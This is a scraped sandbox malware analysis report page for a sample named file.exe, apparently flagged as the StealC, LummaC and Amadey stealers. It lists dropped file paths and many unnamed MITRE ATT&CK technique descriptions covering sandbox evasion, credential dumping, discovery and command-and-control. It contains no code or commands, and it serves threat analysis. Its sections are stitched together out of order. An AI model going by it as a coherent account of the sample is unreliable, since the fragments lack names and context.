Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAEHJEBKFCAKKFIEHDBFIEHDHI

C:\ProgramData\CBAFIDAECBGCBFHJEBGD

C:\ProgramData\DAAAKFHIEGDGCAAAEGDG

C:\ProgramData\IIEGHJJD

C:\ProgramData\IIEHJEHDBGHIDGDGHCBGDGCBFI

C:\ProgramData\IJDBGDGC

C:\ProgramData\KFCFBAAEHCFHJJKEHJKJ

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre